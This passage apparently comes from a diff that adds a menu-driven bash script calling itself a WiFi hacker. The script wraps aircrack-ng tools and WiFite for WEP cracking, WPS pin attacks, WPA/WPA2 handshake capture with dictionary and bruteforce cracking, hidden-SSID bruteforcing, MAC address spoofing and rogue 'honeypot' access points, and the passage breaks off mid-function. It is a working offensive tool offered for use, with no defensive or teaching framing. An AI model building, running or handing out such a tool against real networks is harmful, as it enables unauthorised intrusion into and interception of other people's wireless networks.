"2") + returnToUpdatePage="0" + + banner + $magenta + echo "" + echo "You Have An Unreleased Developer Version" + echo "" + echo "" + echo "" + $green + echo "" + echo "* TO FORCE UPDATE FROM REMOTE VERSION PRESS \"F\" AND ENTER *" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "Continuing To Main Menu In 10 Seconds...." + echo "" + echo "" + + read -t 10 noUpdateAvailable + + # Check for Forced Update Flag + case "$noUpdateAvailable" in + + "F" | "f") + returnToUpdatePage="0" + getUpdate + ;; + + esac + ;; + + esac + ;; + + "x" | "X") + bannerExit + ;; + + esac + +} + + +checkUpdate(){ + + currentTask="checkUpdate" + + wget -O "$updateTemp" $updateMaster + + versionRemoteTemp=$(cat $updateTemp | grep versionBase= | cut -d "\"" -f2 | head -c 3) + + versionRemote="$versionRemoteTemp" + + case "$isDebugMode" in + "1") + echo "versionRemote: $versionRemote" + read pause + ;; + esac + + cleanVersionNumbers + compareUpdateVersions + + #echo "newUpdateAvailable: $newUpdateAvailable" + #read pause + + rm $updateTemp + + updateChecked="1" + + case "$returnToUpdatePage" in + + "1") + menuUpdate + ;; + + esac + +} + + +getUpdate(){ + + currentTask="getUpdate" + + # Get Base Script Name + #newVersionScript=$(printf '%s\n' "${0##*/}") + newVersionScript=$(basename -- "$0") + + # Download New Script + wget -O "$initPath/$newVersionScript.tmp" $updateMaster + + #read pause + + # Make Backup of Original Script + cp "$initPath/$newVersionScript" "$initPath/$newVersionScript.BACKUP" + + # Remove Old Script + rm -f "$initPath/$newVersionScript" + + # Copy New Script + cp "$initPath/$newVersionScript.tmp" "$initPath/$newVersionScript" + + # Remove Temp Script + rm -f "$initPath/$newVersionScript.tmp" + + #read pause + + bannerExitUpdate + +} + + +cleanVersionNumbers(){ + + currentTask="cleanUpdateVersion" + + versionBaseClean=$(echo $versionBase | sed -e 's/\.//') + + versionRemoteClean=$(echo $versionRemote | sed -e 's/\.//') + + #echo "Local Version: $versionBaseClean" + #echo "Remote Version: $versionRemoteClean" + #read pause + +} + + +compareUpdateVersions(){ + + # Compare Local and Remote Versions (0 = Not Greater / 1 = Greater) (Not working?? 20170102) + #versionCompare=$(echo "$versionBaseClean <= $versionRemoteClean" | awk '{print ($versionBaseClean <= $versionRemoteClean)}') + + if [ $versionRemoteClean -lt $versionBaseClean ]; then + + newUpdateAvailable="2" + isDevBuild="1" + + fi + + if [ $versionRemoteClean -gt $versionBaseClean ]; then + + newUpdateAvailable="1" + isDevBuild="0" + + fi + + if [ $versionRemoteClean -eq $versionBaseClean ]; then + + newUpdateAvailable="0" + isDevBuild="0" + + fi + +} + + +############################################################################ +# UPDATE STUFF END ##################################################### +############################################################################ + + + + + +############################################################################ +# OTHER MISC STUFF BEGIN ############################################### +############################################################################ + + +checkRootStatus(){ + + userPriv="none" + + isRoot=$(whoami | grep root) + + case "$isRoot" in + + "root") + userPriv="root" + + esac + + if [ "$userPriv" != "root" ]; then + noRootAccess + fi + +} + + + +noRootAccess(){ + + banner + bannerStats + + $red + echo "Yikes! No Root Access!" + $white + echo "" + echo "" + echo "I Currently Have Nothing Scripted To Handle This :(" + echo "" + echo "Please login as a root user and try again!" + echo "" + echo "" + echo "Press ENTER to exit this script...." + echo "" + echo "" + + read pause + + + bannerExit + +} + + +checkConnectionStatus(){ + + ipStatus="0" + ipStatusText="None" + + ipStatusTemp=$(ping -c 1 google.com | grep "1 received") + + ipStatus=$(echo "$ipStatusTemp" | cut -c1) + + + case "$ipStatus" in + + "1") + ipStatus="1" + ipStatusText="Wifi" + ;; + + esac + + case "$ipStatusText" in + + "None") + ipStatus="0" + ;; + + esac + + #echo "$ipStatusText" + + #read pause + +} + + +fixAirmonCompat(){ + + #$terminal airmon-ng check kill& + airmon-ng check kill& + #airmon-ng check kill& + +} + + +checkWifiandDisplayMessage(){ + + case "$ipStatusText" in + + "Wifi") + banner + echo "" + echo "YOU MUST DISCONNECT FROM WIFI BEFORE CONTINUING!!!!" + echo "" + echo "" + echo "PRESS ENTER TO RETURN TO MAIN MENU...." + echo "" + echo "" + + read pause + + menuMain + ;; + + esac + +} + + +# Tries fixing issues with connection staying persistant to WiFi +forceDisconnectWifi() { + + #stopMonitorMode + #killNetworkManager + NetworkManager + #disableChannelHopping + enableChannelHopping + +} + + +############################################################################ +# OTHER MISC STUFF END ################################################# +############################################################################ + + + + + +############################################################################ +# MENUS: MAIN BEGIN #################################################### +############################################################################ + + +loadMenuHotkeys(){ + +case "$hotkeyInput" in + + "M" | "m") + + # Check for resetSpoofStatus Flag + case "$resetSpoofStatus" in + + "1") + spoofStatus="0" + ;; + + esac + + killAll + stopMonitorMode + menuMain + ;; + + "A" | "a") + menuAdvanced + ;; + + "S" | "s") + checkForEmptyEncryptionType + + case "$bssid" in + + "") + menuMain + ;; + + esac + + if [ "$bssid" != "" ]; then + menuSessionSave + fi + ;; + + "L" | "l") + checkForEmptyEncryptionType + menuSessionLoad + ;; + + "H" | "h") + menuHelp + ;; + + "E" | "e") + + case "$lastMenuID" in + + "menuMain") + menuMain + ;; + + *) + menuExtras + ;; + + esac + + ;; + + "X" | "x") + killAll + stopMonitorMode + bannerExit + ;; + +esac + +} + + +menuMain(){ + + currentTask="menuMain" + lastMenuID="menuMain" + + # Create temp folder to use for text dumps, etc + mkdir $whTemp + + checkRootStatus + sessionCreatePaths + sessionRemoveEmpty + + checkMultipleAdapters + checkInterfaceMode + + checkConnectionStatus + + case "$ipStatus" in + + "1") + banner + echo "" + echo "Loading Menu...." + echo "" + echo "" + + forceDisconnectWifi + checkConnectionStatus + + sleep 3 + + menuMain + ;; + + "0") + banner + echo "" + #echo "Welcome to the WiFi Hacker script!" + echo "Compatible with all WEP/WPA/WPA2/WPS protected WiFi routers." + echo "" + $red + echo "**********************************************************************" + echo "YOU MUST DISCONNECT FROM ANY WIRELESS CONNECTIONS BEFORE CONTINUING!!!" + echo "**********************************************************************" + echo "" + + case "$ipStatus" in + "0") + $green + ;; + + "1") + $red + ;; + esac + echo "You are currently connected to: $ipStatusText" + $white + echo "" + echo "" + #$cyan + echo "0) Auto Mode (Uses WiFite In Full Automatic Mode. Applies To All Encryption Types)" + #$white + echo "" + echo "1) WEP Mode (Menu Options Can Be Selected To Easily Circumvent Any WEP Connection)" + echo "" + echo "2) WPS Mode (Pin Vulnerability Attack. May Also Have WPA, WPA2, or WEP Displayed)" + echo "" + echo "3) WPA Mode (Capture 4-way Handshake, Dictionary Attack, Bruteforce, Custom Wordlist, and More)" + echo "" + echo "4) WPA2 Mode (Identical To WPA Attacks, Except Target Encryption Type)" + echo "" + echo "" + echo "" + echo "Select a mode from above and press Enter:" + echo "" + + read getMode + + hotkeyInput="$getMode" + + loadMenuHotkeys "$hotkeyInput" + + case "$getMode" in + + "") + menuMain + ;; + + "0") + checkConnectionStatus + checkWifiandDisplayMessage + menuAttacksAllWifiteAuto + menuMain + ;; + + "1") + checkConnectionStatus + checkWifiandDisplayMessage + mkdir $capturePathWEP + encryptionType="wep" + encryptionTypeText="WEP" + checkSpoofStatus + menuAuto + ;; + + "2") + checkConnectionStatus + checkWifiandDisplayMessage + mkdir $capturePathWPS + encryptionType="wps" + encryptionTypeText="WPS" + checkSpoofStatus + menuAuto + ;; + + "3") + checkConnectionStatus + checkWifiandDisplayMessage + mkdir $capturePathWPA + encryptionType="wpa" + encryptionTypeText="WPA" + checkSpoofStatus + menuAuto + ;; + + "4") + checkConnectionStatus + checkWifiandDisplayMessage + mkdir $capturePathWPA2 + encryptionType="wpa2" + encryptionTypeText="WPA2" + checkSpoofStatus + menuAuto + ;; + + *) + menuMain + ;; + + esac + ;; + + esac + + #menuMain +} + + +menuAuto(){ + + currentTask="menuAuto" + lastMenuID="menuAuto" + + case "$encryptionTypeText" in + + "Empty") + menuMain + ;; + + esac + + #sessionCopyNewCaptureFiles + sessionRemoveEmpty + + cleanTempScanResultsFile "all" + + checkInterfaceMode + + banner + bannerStats + + $green + echo "" + echo "You are ready to begin the $encryptionTypeText attack!" + echo "" + $white + + case "$encryptionTypeText" in + + "WEP") + echo "To perform a fully automated attack, type AUTOWEP end press ENTER" + ;; + + "WPS") + echo "To perform a fully automated attack, type AUTOWPS end press ENTER" + ;; + + "WPA") + echo "To perform a fully automated attack, type AUTOWPA end press ENTER" + ;; + + "WPA2") + echo "To perform a fully automated attack, type AUTOWPA2 end press ENTER" + ;; + + esac + + echo "" + echo "YOU MAY NOW OPTIONALLY PRESS THE \"W\" KEY ON KEYBOARD TO YOUR SPOOF MAC ADDRESS" + echo "" + echo "" + echo "" + echo "The next step will run an airodump-ng session in a new window." + echo "" + echo "Once you enter all required info, the new window will be closed" + echo "" + echo "" + echo "" + echo "Press ENTER to clear the current session and select a target...." + echo "" + echo "YOU MAY ALSO PRESS THE \"P\" KEY ON KEYBOARD TO LOAD PREVIOUS SESSION" + echo "" + + read readyForAirodumpScan + + hotkeyInput="$readyForAirodumpScan" + + loadMenuHotkeys "$hotkeyInput" + + case "$readyForAirodumpScan" in + + "") + killAll + checkForEmptyEncryptionType + + # Run wash if WPS + case "$encryptionTypeText" in + + "WPS") + #$terminal wash -i $interfaceMonitor -o "$washFile" -C + ;; + + esac + + autoModeNoPreviousSession + ;; + + "P" | "p") + checkForEmptyEncryptionType + + checkForEmptyCredentials "bssid" + checkForEmptyCredentials "essid" + checkForEmptyCredentials "channel" + + autoModeUsePreviousSession + ;; + + "W" | "w") + #returnTo="menuAuto" + spoofMacAddress + menuAuto + ;; + + "autowep" | "AUTOWEP" | "AutoWEP" | "AutoWep" | "autoWEP" | "autoWep") + menuAttacksWEPWifiteAuto + ;; + + "autowps" | "AUTOWPS" | "AutoWPS" | "AutoWps" | "autoWPS" | "autoWps") + menuAttacksWPSWifiteAuto + ;; + + "autowpa" | "AUTOWPA" | "AutoWPA" | "AutoWpa" | "autoWPA" | "autoWpa") + menuAttacksWPAWifiteAuto + ;; + + "autowpa2" | "AUTOWPA2" | "AutoWPA2" | "AutoWpa2" | "autoWPA2" | "autoWpa2") + menuAttacksWPA2WifiteAuto + ;; + + *) + menuAuto + ;; + + esac + + #restartProcesses + + menuMain + +} + + +menuAdvanced(){ + + currentTask="menuAdvanced" + #lastMenuID="menuAdvanced" + + interface="None" + + banner + bannerStats + + echo "" + echo "SORRY I GOT LAZY AND NEVER CODED THIS MENU" + echo "WILL BE AVAILABLE SOOOOOOOOOON!" + echo "" + echo "" + echo "Advanced Menu" + echo "" + echo "" + echo "1) Monitor Mode Options" + echo "" + echo "2) Honeypot Mode and Attacks" + echo "" + echo "" + echo "" + echo "" + $green + echo "** TO RETURN TO PREVIOUS PAGE JUST PRESS ENTER **" + $white + echo "" + echo "" + echo "" + echo "" + echo "Select an option and press ENTER:" + echo "" + echo "" + + read getAdvancedOptionMain + + hotkeyInput="$getAdvancedOptionMain" + + loadMenuHotkeys "$hotkeyInput" + + case "$getAdvancedOptionMain" in + + "") + $currentTask + #menuMain + #menuAdvanced + ;; + + *) + $currentTask + #menuMain + #menuAdvanced + ;; + + esac + + #restartProcesses + + $currentTask + +} + + +menuExtras(){ + + #currentTask="menuExtras" + #lastMenuID="menuExtras" + + banner + bannerStats + + echo "1) Backup All Sessions and Capture Files (Full Backup of all saved files to ZIP file)" + echo "2) Clean Capture Files (Removes all saved .cap, .xor, .ivs, .csv, and .netxml files)" + echo "3) Clean Session Files (Removes all saved WEP, WPS, WPA, WPA2 *.sessions files)" + echo "" + echo "4) Change Active Terminal (Switch between Gnome, Konsole, X-Term, and User Selected)" + echo "" + echo "5) Start NetworkManager 6) Stop NetworkManager" + echo "7) Enable wpa_supplicant 8) Disable wpa_supplicant" + echo "9) Start wpa_cli 10) Stop wpa_cli" + echo "" + echo "11) Open Interface Options Menu" + echo "" + echo "12) Hidden SSID Options" + echo "" + echo "R) Return To Previous Menu" + echo "" + echo "" + echo "Select an option from above and press ENTER:" + echo "" + + read getExtras + + hotkeyInput="$getExtras" + + loadMenuHotkeys "$hotkeyInput" + + case "$getExtras" in + + "") + menuExtras + ;; + + "1") + backupSessionFiles + ;; + + "2") + cleanCaptureFiles + ;; + + "3") + cleanSessionFiles + ;; + + "4") + menuChangeTerminal + ;; + + "5") + startNetworkManager + ;; + + "6") + killNetworkManager + ;; + + "7") + wpaSupplicantEnable + ;; + + "8") + wpaSupplicantDisable + ;; + + "9") + wpa_cli start + ;; + + "10") + wpa_cli terminate + ;; + + "11") + menuExtrasInterface + ;; + + "12") + banner + bannerStats + + echo "1) Bruteforce Hidden SSID" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "* Just Press ENTER To Return To Previous Menu *" + echo "" + echo "" + $white + echo "Select an option from above and press ENTER:" + echo "" + + read ssidHiddenOption + + case "$ssidHiddenOption" in + + "1") + bruteForceHiddenSSID + ;; + + esac + ;; + + "r" | "R") + $lastMenuID + ;; + + *) + menuExtras + ;; + + esac + + menuExtras + +} + +menuExtrasInterface(){ + + currentTask="menuExtrasInterface" + #lastMenuID="menuExtrasInterface" + + banner + bannerStats + + echo "" + + echo "1) Enable Channel Hopping: $interface" + echo "2) Disable Channel Hopping: $interface" + echo "" + echo "3) Bring Up Interface: $interfaceMonitor" + echo "4) Bring Down Interface: $interfaceMonitor" + echo "" + echo "5) Switch Interface To Managed" + echo "6) Switch Interface To Monitor" + echo "" + echo "7) Fix Airmon Conflicting Processes" + echo "" + echo "8) Get \"ifconfig\" Output" + echo "9) Get \"iwconfig\" Output" + echo "" + echo "R) Return To Previous Menu" + echo "" + echo "" + echo "Select an option from above and press ENTER:" + echo "" + #echo "" + + read getExtrasInterface + + hotkeyInput="$getExtrasInterface" + + loadMenuHotkeys "$hotkeyInput" + + case "$getExtrasInterface" in + + "") + menuInterface + ;; + + "1") + enableChannelHopping + ;; + + "2") + disableChannelHopping + ;; + + "3") + interfaceUp + ;; + + "4") + interfaceDown + ;; + + "5") + interfaceManaged + ;; + + "6") + interfaceMonitor + ;; + + "7") + fixAirmonCompat + ;; + + "8") + showIfConfig=$(ifconfig) + banner + bannerStats + echo "" + echo "$showIfConfig" + echo "" + echo "" + echo "" + echo "Press ENTER to continue..." + echo "" + echo "" + read pause + ;; + + "9") + showIwConfig=$(iwconfig) + banner + bannerStats + echo "" + echo "$showIwConfig" + echo "" + echo "" + echo "" + echo "Press ENTER to continue..." + echo "" + echo "" + read pause + ;; + + "r" | "R") + #$lastMenuID + menuExtras + ;; + + *) + menuExtrasInterface + ;; + + esac + + menuExtrasInterface + +} + + +menuHelp(){ + + currentTask="menuHelp" + #lastMenuID="menuHelp" + + banner + bannerStats + + echo "" + echo "*******************************************" + echo "CURENTLY NOT WORKING!!!" + echo "" + echo "PRESS ENTER TO RETURN TO PREVIOUS MENU!" + echo "*******************************************" + echo "" + echo "" + echo "" + echo "Welcome to the Help Section!" + echo "" + echo "" + echo "" + echo "CURRENTLY NOT AVAILABLE!" + echo "" + echo "" + echo "" + echo "" + echo "" + + read getHelp + + hotkeyInput="$getHelp" + + loadMenuHotkeys "$hotkeyInput" + + case "$getHelp" in + + "") + $lastMenuID + #menuMain + #menuHelp + ;; + + *) + $lastMenuID + #menuMain + #menuHelp + ;; + + esac + + $lastMenuID + +} + + +menuChangeTerminal(){ + + currentTask="menuChangeTerminal" + #lastMenuID="menuChangeTerminal" + + banner + + + echo "" + echo "Select a new terminal to use" + echo "" + echo "" + echo "Current Terminal: $terminal" + echo "" + echo "" + echo "1a) Gnome Legacy: $terminalGnomeLegacy" + echo "" + echo "1b) Gnome: $terminalGnome" + echo "" + echo "2) Konsole: $terminalKonsole" + echo "" + echo "3) X-Term: $terminalXterm" + echo "" + echo "4) Custom (User Selected)" + echo "" + echo "5) Return To Previous Menu" + echo "" + echo "" + + read getTerminalType + + hotkeyInput="$getTerminalType" + + loadMenuHotkeys "$hotkeyInput" + + case "$getTerminalType" in + + "") + menuChangeTerminal + ;; + + "1a") + terminal="$terminalGnomeLegacy" + terminalText="GnomeLegacy" + ;; + + "1b") + terminal="$terminalGnome" + terminalText="Gnome" + ;; + + "2") + terminal="$terminalKonsole" + terminalText="Konsole" + ;; + + "3") + terminal="$terminalXterm" + terminalText="Xterm" + ;; + + "4") + banner + echo "" + echo "Input a terminal string with arguments and press ENTER:" + echo "" + echo "" + echo "Example: $terminalGnome" + echo "" + echo "" + + read newTerminal + + case "$newTerminal" in + + *) + terminal="$newTerminal" + terminalText="Custom" + ;; + + esac + + ;; + + "5") + menuExtras + ;; + + *) + menuChangeTerminal + ;; + + esac + + menuMain + +} + + +menuHoneyPotMode(){ + + currentTask="menuHoneyPotMode" + + initMonitorMode + + banner + bannerStats + + echo "" + echo "I Am HoneyPot Mode" + echo "" + echo "I Am Also Broken :(" + echo "" + echo "" + echo "" + echo "1) Use Airbase-ng" + echo "" + echo "2) Use Wifi-Honey" + echo "" + echo "3) Use a Custom Binary" + echo "" + echo "" + echo "" + echo "Select an option and press ENTER:" + echo "" + echo "" + + read getHoneyPotOptionMain + + hotkeyInput="$getHoneyPotOptionMain" + + loadMenuHotkeys "$hotkeyInput" + + case "$getHoneyPotOptionMain" in + + "") + menuHoneyPotMode + #$lastMenuID + #menuMain + #menuAdvanced + ;; + + "1") + getBSSID + $terminal airbase-ng -a $bssid -i $interfaceMonitor -h $macAddressMonitor -v & + ;; + + "2") + getESSID + getChannel + $terminal wifi-honey $essid $channel $interfaceMonitor & + ;; + + "3") + echo "Custom Binary" + read pause + menuHoneyPotMode + ;; + + *) + menuHoneyPotMode + #$lastMenuID + #menuMain + #menuAdvanced + ;; + + esac + + #restartProcesses + + menuHoneyPotMode + #$lastMenuID + +} + + +selectFromApList(){ + + # Get AP Credential Type From 1st Argument + apListType="$1" + + currentTask="selectFromApList" + + echo "Dumping Found AP Targets From airodump-ng Window...." + echo "" + echo "" + + case "$apListType" in + + "essid") + sleep 15 + cat "$defaultScanOutputXML" | grep "" + ;; + + "channel") + sleep 15 + cat "$defaultScanOutputXML" | grep "" + ;; + + esac + + echo "" + echo "" + $yellow + echo "Select $apListType from found AP targets above and copy to clipboard (CTRL+SHIFT+C)" + echo "" + echo "" + $white + echo "You may also follow the instructions below to select a target" + echo "" + echo "" + + #read getApTarget + +} + + +############################################################################ +# MENUS: MAIN END ###################################################### +############################################################################ + + + + + +############################################################################ +# MENUS: SESSIONS BEGIN ################################################ +############################################################################ + + +menuSessionSave(){ + + # Not needed for this menu + #currentTask="menuSessionSave" + #lastMenuID="menuSessionSave" + + banner + bannerStats + + echo "Session Save Menu" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "Save As: $capturePath/$encryptionType/$encryptionType.sessions" + echo "" + echo "" + echo "" + echo "Press \"1\" and ENTER to save session file now" + echo "" + echo "" + echo "You may also just press ENTER to return to the previous menu...." + echo "" + echo "" + + getSession="1" + #read getSession + + hotkeyInput="$getSession" + + loadMenuHotkeys "$hotkeyInput" + + case "$getSession" in + + "") + $currentTask + ;; + + "1") + sessionSave + ;; + + *) + $currentTask + ;; + + esac + + $currentTask + +} + + +menuSessionLoad(){ + + # Not needed for this menu + #currentTask="menuSessionLoad" + #lastMenuID="menuSessionLoad" + + banner + bannerStats + + echo "Session Load Menu" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "Current File Loaded: $capturePath/$encryptionType/$encryptionType.sessions" + echo "" + echo "" + echo "" + echo "Press \"1\" and ENTER to load session file now" + echo "" + echo "" + echo "You may also just press ENTER to return to the previous menu...." + echo "" + echo "" + + getSession="1" + #read getSession + + hotkeyInput="$getSession" + + loadMenuHotkeys "$hotkeyInput" + + case "$getSession" in + + "") + $currentTask + ;; + + "1") + sessionLoad + ;; + + *) + $currentTask + ;; + + esac + + $currentTask + +} + + +############################################################################ +# MENUS: SESSIONS END ################################################## +############################################################################ + + + + + +############################################################################ +# GET CREDENTIALS BEGIN ################################################ +############################################################################ + + +textGetTargetInfo(){ + + currentTask="textGetTargetInfo" + + echo "" + echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN, ONLY SHOWING $encryptionTypeText TARGETS" + echo "" + echo "YOU CAN USE THIS AIRODUMP-NG WINDOW TO GATHER ALL NEEDED INFORMATION" + echo "" + echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW" + echo "" + #echo "YOU MAY NEED TO EXTEND THE WINDOW WIDER TO SEE THE ESSID NAMES" + echo "YOU MAY PRESS \"T\" AT ANYTIME TO OPEN A TEXT VIEW OF AVAILABLE TARGETS" + echo "" + echo "" + + case "$encryptionTypeText" in + + "WPS") + $green + echo "WPS TARGETS MAY HAVE \"1.0, 1.0 LAB, DISP, KPAD\" OR ANOTHER VARIANT UNDER \"WPS\" COLUMN" + echo "" + echo "ALL TARGETS THAT SUPPORT WPS MAY ALSO HAVE \"OPN\", \"WEP\", \"WPA\", or \"WPA2\" UNDER \"ENC\" COLUMN" + $white + echo "" + echo "" + ;; + + "WEP") + $green + echo "WEP TARGETS MAY HAVE \"WEP\" UNDER THE \"ENC\" and \"CIPHER\" COLUMNS" + #echo "CURRENTLY SET TO ONLY SCAN FOR \"WEP\" TARGETS" + $white + echo "" + echo "" + ;; + + "WPA") + $green + echo "WPA TARGETS MAY HAVE \"WPA\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS" + $white + echo "" + echo "" + ;; + + "WPA2") + $green + echo "WPA2 TARGETS MAY HAVE \"WPA2\" UNDER THE \"ENC\" and \"CCMP\" UNDER \"CIPHER\" COLUMNS" + $white + echo "" + echo "" + ;; + + esac + +} + + +getESSID(){ + + currentTask="getESSID" + + banner + bannerStats + + #selectFromApList essid + + textGetTargetInfo + + echo "PASTE or type the Target ESSID Here and press ENTER:" + echo "" + echo "Example: NETGEAR" + echo "" + echo "" + + $cyan + read getESSIDTemp + + hotkeyInput="$getESSIDTemp" + + loadMenuHotkeys "$hotkeyInput" + + case "$getESSIDTemp" in + + "") + getESSID + ;; + + "t" | "T") + cleanTempScanResultsFile "txt" + openScanTargetsAsText + getESSID + ;; + + *) + essid="$getESSIDTemp" + ;; + + esac + + $white +} + + +getBSSID(){ + + currentTask="getBSSID" + + banner + bannerStats + + #selectFromApList bssid + + textGetTargetInfo + + echo "PASTE or type the Target BSSID Here and press ENTER:" + echo "" + echo "Example: 00:11:22:33:44:55" + echo "" + echo "" + + $cyan + read getBSSIDTemp + + hotkeyInput="$getBSSIDTemp" + + loadMenuHotkeys "$hotkeyInput" + + case "$getBSSIDTemp" in + + "") + getBSSID + ;; + + "t" | "T") + cleanTempScanResultsFile "txt" + openScanTargetsAsText + getBSSID + ;; + + *) + bssid="$getBSSIDTemp" + ;; + + esac + + $white +} + + +getChannel(){ + + currentTask="getChannel" + + banner + bannerStats + + #selectFromApList channel + + textGetTargetInfo + + echo "PASTE or type the Target Channel Here and press ENTER:" + echo "" + echo "Example: 6" + echo "" + echo "" + + $cyan + read getChannelTemp + + hotkeyInput="$getChannelTemp" + + loadMenuHotkeys "$hotkeyInput" + + case "$getChannelTemp" in + + "") + getChannel + ;; + + "t" | "T") + cleanTempScanResultsFile "txt" + openScanTargetsAsText + getChannel + ;; + + *) + channel="$getChannelTemp" + ;; + + esac + + $white +} + + +############################################################################ +# GET CREDENTIALS END ################################################## +############################################################################ + + + + + +############################################################################ +# MAC ADDRESS STUFF BEGIN ############################################## +############################################################################ + + +getMacAddress(){ + + currentTask="getMacAddress" + + macAddress=$(ip link show $interface | tail -n 1 | cut -f 6 -d " ") + +} + + +getMacAddressMonitor(){ + + currentTask="getMacAddressMonitor" + + macAddressMonitor=$(ip link show $interfaceMonitor | tail -n 1 | cut -f 6 -d " ") + + case "$isDebugMode" in + "1") + echo "interface: $interfaceMonitor" + echo "mac: $macAddressMonitor" + read pause + ;; + esac + +} + + +setMacAddress(){ + + currentTask="setMacAddress" + + ifconfig $interface down + macchanger -m $getNewMacAdressTemp $interface + ifconfig $interface up + + spoofStatus="1" + + macAddress="$getNewMacAdressTemp" + +} + + +setMacAddressMonitor(){ + + currentTask="setMacAddressMonitor" + + ifconfig $interfaceMonitor down + macchanger -m $getNewMacAdressTemp $interfaceMonitor + ifconfig $interfaceMonitor up + + spoofStatus="1" + + macAddressMonitor="$getNewMacAdressTemp" + +} + + +getRandomMacAddress(){ + + currentTask="getRandomMacAddress" + + ifconfig $interface down + macchanger -r $interface + ifconfig $interface up + + spoofStatus="1" + + getMacAddress + + #macAddress="$getNewMacAdressTemp" + +} + + +getRandomMacAddressMonitor(){ + + currentTask="getRandomMacAddressMonitor" + + ifconfig $interfaceMonitor down + macchanger -r $interfaceMonitor + ifconfig $interfaceMonitor up + + spoofStatus="1" + + getMacAddressMonitor + + #macAddressMonitor="$getNewMacAdressTemp" + +} + + +spoofMacAddress(){ + + currentTask="spoofMacAddress" + #lastMenuID="spoofMacAddress" + + # Setting resetSpoofStatus Flag for global hotkey compatibility + resetSpoofStatus="1" + + banner + bannerStats + + echo "" + echo "To choose a random MAC Address, press the \"R\" key and press ENTER" + echo "" + echo "" + echo "Enter the New MAC Address and press ENTER:" + echo "" + echo "Example: 00:11:22:33:44:55" + echo "" + echo "" + + read getNewMacAdressTemp + + hotkeyInput="$getNewMacAdressTemp" + + loadMenuHotkeys "$hotkeyInput" + + case "$getNewMacAdressTemp" in + + "") + spoofMacAddress + ;; + + "R" | "r") + getRandomMacAddress + getRandomMacAddressMonitor + #$returnTo + ;; + + *) + setMacAddress + setMacAddressMonitor + #$returnTo + ;; + + esac + +} + + +checkSpoofStatus(){ + + case "$spoofStatus" in + + "0") + #blank="" + initMonitorMode + ;; + + esac + +} + + +############################################################################ +# MAC ADDRESS STUFF END ################################################ +############################################################################ + + + + + +############################################################################ +# MONITOR MODE STUFF BEGIN ############################################# +############################################################################ + + +initMonitorMode(){ + + currentTask="initMonitorMode" + + #killProcesses + stopMonitorMode + + disableChannelHopping + enableChannelHopping + + getWirelessInterfaces + + banner + + initMon="" + + case "$initMon" in + + "") + getMacAddress + setMonitorMode + getMacAddressMonitor + #getWirelessInterfaces "refresh" + ;; + + *) + getMacAddress + setMonitorMode + getMacAddressMonitor + #getWirelessInterfaces + ;; + + esac + +} + + +setMonitorMode(){ + + currentTask="setMonitorMode" + + #interfaceMonitor="mon0" + #echo "$interface" + #read pause + $startMonitorMode $interface + +} + + +stopMonitorMode(){ + + currentTask="stopMonitorMode" + + killMsg="Killing all active previous monitor mode interfaces...." + + # Older style airmon-ng + killMonA="mon" + + # Newer 1.2+ style airmon-ng + killMonB1="wlan" + killMonB2="mon" + + killCounter="0" + + # I just selected 12 as a number that I feel nobody would have more wifi adapters than + #killCounterMax="12" + + # Using number of found adapters to determine max + killCounterMax="$interfacesFound" + + # Initial mon0 or wlan0mon before loop + case "$killCounter" in + + "0") + banner + $white + echo "" + echo $killMsg + $red + $stopMonitorMode $killMonA$killCounter + $stopMonitorMode $killMonB1$killCounter$killMonB2 + ;; + + esac + + while [ $killCounter -le $killCounterMax ] + + do + banner + $white + echo "" + echo $killMsg + $red + $stopMonitorMode $killMonA$killCounter + $stopMonitorMode $killMonB1$killCounter$killMonB2 + + killCounter=$(($killCounter+1)) + done + + banner + $white + +} + + +############################################################################ +# MONITOR MODE STUFF END ############################################### +############################################################################ + + + + + +############################################################################ +# ATTACKS: GLOBAL BEGIN ################################################ +############################################################################ + + +autoModeUsePreviousSession(){ + + currentTask="autoModeUsePreviousSession" + + sessionCopyNewCaptureFiles + + case "$encryptionType" in + + "wep") + autoModeUsePreviousSessionWEP + ;; + + "wps") + autoModeUsePreviousSessionWPS + ;; + + "wpa") + autoModeUsePreviousSessionWPA + ;; + + "wpa2") + autoModeUsePreviousSessionWPA2 + ;; + + esac + +} + + +autoModeNoPreviousSession(){ + + currentTask="autoModeNoPreviousSession" + + case "$encryptionType" in + + "wep") + autoModeNoPreviousSessionWEP + ;; + + "wps") + autoModeNoPreviousSessionWPS + ;; + + "wpa") + autoModeNoPreviousSessionWPA + ;; + + "wpa2") + autoModeNoPreviousSessionWPA2 + ;; + + esac + +} + + +adFileDump(){ + + noChannel="$1" + + #echo "$noChannel" + #read pause + + currentTask="adFileDump" + + echo "" + echo "" + + case "$encryptionType" in + + "wep") + + disableChannelHopping + + case "$noChannel" in + + "0") + $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid" + #$terminal airodump-ng -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor & + #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor & + #read pause + + #Working (uses session path) + #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor & + ;; + + "1") + $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid" + + #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor & + #$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid -i $interfaceMonitor & + #read pause + + #Working (uses session path) + #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor & + ;; + esac + ;; + + "wpa" | "wpa2") + + doSleepMessage "Preparing to Capture WPA Handshake...." "3" + + disableChannelHopping + + case "$noChannel" in + + "0") + $terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid" + #$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor & + ;; + + "1") + $terminal airodump-ng $interfaceMonitor --bssid $bssid --write "dump_$essid" + #$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor & + + #Working (uses session path) + #$terminal 